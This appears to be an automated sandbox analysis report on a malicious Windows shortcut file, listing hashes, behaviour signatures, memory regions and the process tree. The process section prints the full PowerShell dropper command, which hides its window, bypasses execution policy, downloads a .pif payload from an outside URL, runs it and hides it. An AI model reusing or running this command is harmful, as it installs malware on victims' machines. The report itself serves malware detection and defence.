Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    03-05-2024 10:29

General

  • Target

    ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9.lnk

  • Size

    2KB

  • MD5

    cb958910e643b506770ffd61abc0d2dd

  • SHA1

    4d57d11249ea675c01e15d0b40c3b9283e54936b

  • SHA256

    ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9

  • SHA512

    caa151588a234ffc2c9c87500e49484ad0b5d8b4853e5a2c95e22e29fa8b9712ff66e7c3f66e5db842548dee9237bbbfa2dc527ef2b5ca39eb371b4940603ca2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://requimacofradian.site/srtyuyussertgsdhsrtehtdyhdrydfkrgfrukydjedyjedeyj/dyirtysthstudfyiufdhsdgfjdfyuikfudfyhsdrwrqerregrytrautrsuy/fsbgfshwtjyehstwyeuysryysiuijdydjyttdtaratrtre/Grtdy.pif

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:760
    • C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command srms.dat;(new-object System.Net.WebClient).DownloadFile('https://requimacofradian.site/srtyuyussertgsdhsrtehtdyhdrydfkrgfrukydjedyjedeyj/dyirtysthstudfyiufdhsdgfjdfyuikfudfyhsdrwrqerregrytrautrsuy/fsbgfshwtjyehstwyeuysryysiuijdydjyttdtaratrtre/Grtdy.pif','hsetming.pif');./'hsetming.pif';(get-item 'hsetming.pif').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2540

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2540-38-0x000007FEF5E8E000-0x000007FEF5E8F000-memory.dmp

    Filesize

    4KB

  • memory/2540-39-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2540-41-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB

  • memory/2540-42-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB

  • memory/2540-43-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB

  • memory/2540-40-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

    Filesize

    32KB

  • memory/2540-44-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB

  • memory/2540-45-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB

  • memory/2540-46-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB

  • memory/2540-47-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

    Filesize

    9.6MB